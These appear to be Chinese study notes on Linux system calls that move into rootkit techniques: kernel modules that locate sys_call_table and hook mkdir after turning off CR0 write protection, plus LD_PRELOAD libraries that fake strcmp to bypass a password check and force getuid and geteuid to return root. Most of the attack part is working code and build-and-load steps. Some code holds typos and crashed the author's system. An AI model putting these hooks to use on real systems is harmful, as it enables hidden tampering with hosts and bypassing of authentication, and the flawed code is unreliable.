Linux 系统调用结构
- 0.11内核文件里 的 kernel.h 里
- 系统调用号 -->是sys_call_table[]—>执行不同的 sys_…
- 特点一 :系统调用就像快递员 ,只传送命令 ,不实现相关命令,接口
- 特点二 : 回调用VFS进行分类
字符设备驱动
- 内核 的对象为 struct cdev
- 每个字符 设备驱动都有 主设备号 从设备号
-
主设备号 :类型---从内核中找到对应的cdev对象链表
-
从设备号 :该类型下具体哪个设备
- 首先调用应用层的 read/write/open 时
它的请求会传到标准C库里去- 标准C库接收到这些请求后,根据当前调用的函数会调用不同的号,根据号来调用不同的系统调用
- 系统调用 只进行传送,不会做任何的实现,传给VFS 虚拟文件系统
- VFS 根据当前需要调用的fd 的类型来进行分类,比如是字符设备驱动
- 字符设备驱动 会根据当前的主设备号来找到调用哪个对象,找到对象后 根据从设备号找到对象里的 调用哪个 file_operations ,调用file_operations 来找 到里的read ,因为 read 与 uart_read 相连接,再 找到外部的uart硬件
- 如何写驱动?
- 首先分配 file_operations
static const struct file_operations ad1889_fops = {
.owner = THIS_MOUDLE,
.llseek = no_llseek,
.read = ad1889_read,
.write = ad1889_write,
.poll = ad1889_poll,
.ioctl = ad1889_ioctl,
.mmap = ad1889_mmap,
.open = ad1889_open,
.relaeae= ad1889_release;
};
- 一、劫持系统中用于读取文件列表的系统调用
- 1.先寻找内核内存中系统调用表的内存地址sys_call_table,调换该内存中某个函数地址,实现劫持函数的调用—>实现某个真正系统调用的实现
- 2.如何实现 sys_call_table 地址的搜索
1.通过部分系统文件 :/boot/System.map-4.15.0-xx-generic, 要用root权限进去查看
- 这些为部分系统调用的函数地址
- 下面对 sys_call_table 的地址 进行修改
- 首先创建 sys_map_addr.h 写下 sys_call_table 的地址
#define SYS_CALL_TABLE 0xffffffff818001c0
//该值在每次启动都不一样,因为有地址随机化
- 在 lkm2.c 对内核进行相关的操作
/*lkm2.c*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <linux/sched.h>
#include <linux/kallsyms.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <asm/current.h>
#include "sys_map_addr.h"
unsigned long **sys_call_table = (unsigned long **) SYS_CALL_TABLE; //锁定sys_call_table,把从头文件sys_map_addr.h的地址赋给 当前函数
asmlinkage long (*real_mkdir)(const char __user *pathname,umode_t mode);
// 假的要模拟 真的函数一样写
asmlinkage long fake_mkdir(const char __user *pathname, umode_t mode)
{
printk("mkdir-%s\n", pathname);
if(NULL==strstr(pathname,"book"))//比较当前创建的目录是否 有book 的名字,如果有 ,return 0,否则创建
{
return (*real_mkdir)(pathname, mode);
}
else
{
return 0;
}
}
static int lkm_init(void)
{
/*打开内核内存写保护*/
write_cr0(read_cr0() & (~0x10000));
//保存系统原有的系统调用接口函数
real_mkdir = (void *)sys_call_table[__NR_mkdir];//2.6版本为__NR_mkdir
//替换原有系统调用地址
//__NR_mkdir的值是系统 unist.h 所对应的
//要找到对应版本号的内核 所对应宏定义的值进行修改
sys_call_table[__NR_mkdir] = fake_mkdir;
/*关闭内核内存写保护*/
write_cr0(read_cr0() | 0x10000);
//告诉用户模块已经加载
printk("book:module loaded\n");
return 0;
}
//出口函数 要还原之前的值
static void lkm_exit(void)
{
//关闭写保护
write_cr0(read_cr0() & (~0x10000));
//还原原来真正的函数
sys_call_table[__NR_mkdir] = real_mkdir;
//开启写保护
write_cr0(read_cr0() | 0x10000);
//告诉用户模块已经移除
printk("book:module removed\n");
}
module_init(lkm_init);
module_exit(lkm_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("book");
MODULE_DESCRIPTION("hook mkdir");
-
unist.h
-
make
-
加载内核模块 insmod lkm2.ko
-
dmesg -c 查询
-
测试 是否能创建 book 文件夹,不能
-
在过一会后,系统崩溃了
-
测试 能不能建 其他文件夹时,系统崩溃了
-
2.在内存中进行特征搜索,找到sys_call_table的内存地址
PAGE_OFFSET 内核内存空间的起始地址
sys_close函数是导出 (sys_open sys_read没有导出),所以可以获取该函数的地址
sys_close 和sys_call_table 在同一个内存区间 -
sys_call_table.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/memblock.h>
#include <asm/page.h>
#include <asm/cacheflush.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/printk.h>
#include <linux/dirent.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/fs.h>
#include <linux/minix_fs.h>
#include <linux/ext2_fs.h>
#include <linux/romfs_fs.h>
#include <uapi/linux/cramfs_fs.h>
#include <linux/initrd.h>
#include <linux/string.h>
#include <linux/slab.h>
#include <linux/decompress/generic.h>
MODULE_LICENSE("GPL");
unsigned long **real_sys_call_table;
static unsigned long ** get_sct_via_sys_close(void)
{
unsigned long **entry = (unsigned long **)PAGE_OFFSET;
for (;(unsigned long)entry < ULONG_MAX; entry += 1) {
if (entry[__NR_close] == (unsigned long *)sys_close) {
return entry;
}
}
return NULL;
}
static unsigned long ** get_sct(void)
{
return get_sct_via_sys_close();
}
static int __init init_sys_call_memory(void)
{
real_sys_call_table = get_sct();
printk("PAGE_OFFSET = %lx\n", PAGE_OFFSET);
printk("sys_call_table = %p\n", real_sys_call_table);
printk("sys_call_table - PAGE_OFFSET = %lu MiB\n",
((unsigned long)real_sys_call_table -
(unsigned long)PAGE_OFFSET) / 1024 / 1024);
return 0;
}
static void __exit exit_sys_call_memory(void)
{
printk("%s\n", "Farewell the World!");
return;
}
module_init(init_sys_call_memory);
module_exit(exit_sys_call_memory);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("book");
MODULE_DESCRIPTION("hook mkdir");
-
加载
-
3.通过 IDT 表
-
4.系统硬编码寻找
-
Makefile --IDT表
KVERS = $(shell uname -r)
# Kernel modules
obj-m += lkm3.o
# Specify flags for the module compilation.
#EXTRA_CFLAGS=-g -O0
build: kernel_modules
kernel_modules:
make -C /lib/modules/$(KVERS)/build M=$(CURDIR) modules
clean:
make -C /lib/modules/$(KVERS)/build M=$(CURDIR) clean
- lkm3.c
/*lkm3.c*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <linux/sched.h>
#include <linux/kallsyms.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <asm/current.h>
unsigned long *sys_call_table;
struct
{
unsigned short size;
unsigned int addr;
}__attribute__((packed)) idtr;
struct
{
unsigned short offset_1;
unsigned short selector;
unsigned char zero;
unsigned char type_attr;
unsigned short offset_2;
}__attribute__((packed)) idt;
unsigned long *find_sys_call_table(void)
{
unsigned int sys_call_off;
char *p;
int i;
unsigned int ret;
asm("sidt %0":"=m"(idtr));
printk("Arciryas:idt table-0x%x\n", idtr.addr);
// 之所以是 0x80是因为是sys_call的地址
memcpy(&idt, idtr.addr+8*0x80, sizeof(idt));
sys_call_off = ((idt.offset_2<<16) | idt.offset_1);
p = sys_call_off;
//找硬编码
for(i=0; i<100; i++)
{
if(p[i]=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85')
ret = *(unsigned int *)(p+i+3);
}
printk("Arciryas:sys_call_table-0x%x\n", ret);
return (unsigned long**)ret;
}
asmlinkage long (*real_mkdir)(const char __user *pathname,
umode_t mode);
asmlinkage long fake_mkdir(const char __user *pathname, umode_t mode)
{
printk("Arciryas:mkdir-%s\n", pathname);
return (*real_mkdir)(pathname, mode);
}
static int lkm_init(void)
{
sys_call_table = find_sys_call_table();
write_cr0(read_cr0() & (~0x10000));
real_mkdir = (void *)sys_call_table[__NR_mkdir];
sys_call_table[__NR_mkdir] = fake_mkdir;
write_cr0(read_cr0() | 0x10000);
printk("Arciryas:module loaded\n");
return 0;
}
static void lkm_exit(void)
{
write_cr0(read_cr0() & (~0x10000));
sys_call_table[__NR_mkdir] = real_mkdir;
write_cr0(read_cr0() | 0x10000);
printk("Arciryas:module removed\n");
}
module_init(lkm_init);
module_exit(lkm_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("book");
MODULE_DESCRIPTION("hook mkdir");
-
通过找到call 来追踪 sys_call_table 从0.11内核文件得知
-
系统调用的各个节点
int 0x80
触发SWI中断异常
idt(系统中断异常向量表) 表中找到 0x80 中断对应的中断处理函数
syscall
call sys_call_table eax(nr_syscall)
sys_read
file
file_operations
.read -
二、劫持文件系统的库函数,实现对于文件的隐藏
用个preload 预加载库机制进行
preload 用来调试等功能,主要来在所有库加载之前, 加载用一个 preload 指定的库
- 例子
- pass.c文件
#include <stdio.h>
#include <string.h>
int main(int argc,char*argv[])
{
char passwd[]="SWITCH";
if(argc<2)
{
printf("usage:%s<password>\n",argv[0]);
return ;
}
if(!strcmp(passwd,argv[1]))
{
printf("Welcome into process!\n");
return;
}
printf("Error password!\n");
}
- 对 pass.c进行编译
- ldd pass (ldd 是用来追寻某个程序它所使用的的动态库)
- 如果执行 pass 程序 的密码不对是不能进去的
- 对了才能进去
- 假如我们不知道 密码 ,应从preload 入手,在调用原本要加载的库之前,把自己写的库预加载进去
parook.c 文件
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1,const char *s2)
{
printf("password = <%s>\n",s1);
return 0;
}
- 1.编写注入劫持函数,并编译成动态链接库
- gcc -fPIC -shared parock.c -o libmycmp.so
- 先看看未预加载的 pass 的库使用情况
- 切换root权限/不切也可以
- export LD_PRELOAD = 绝对路径+预加载库名.so
- 此时 ./pass +密码 试验 任意密码是否能进入
- 成功
- 卸载预加载库
- 怎么防止别人用这样的方法来实现进入?
在执行验证密码前,对库进行验证
- 假如现在有 A, B软件, B软件执行需要A软件提供的 ID号来决定是否有效 ,可以从A软件给的值修改id值
- rootkit.c 文件,无论返回的 id值是多少,都返回 0 的root权限
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>
uid_t geteuid(void){return 0;}
uid_t getuid(void){return 0;}
uid_t getgid(void){return 0;}
-
生成 rootkit.so 文件
-
先查看当前的id值
-
预加载rootkit.so
-
再查看 此时 id ,已被修改成 0
-
卸载预加载 unset LD_PRELOAD,再查看id,已恢复
之前的id值 -
用 ldd 对比 预加载之前和之后的 库的调用情况
-
预加载之前
-
预加载之后
-
之前都是修改整个系统的环境变量进行操作
-
现在 对单个程序进行预加载
*LD_PRELOAD=/home/book/NW/preload/libmycmp.so ./pass hello -
成功
-
怎么识别调用了哪些库文件
符号表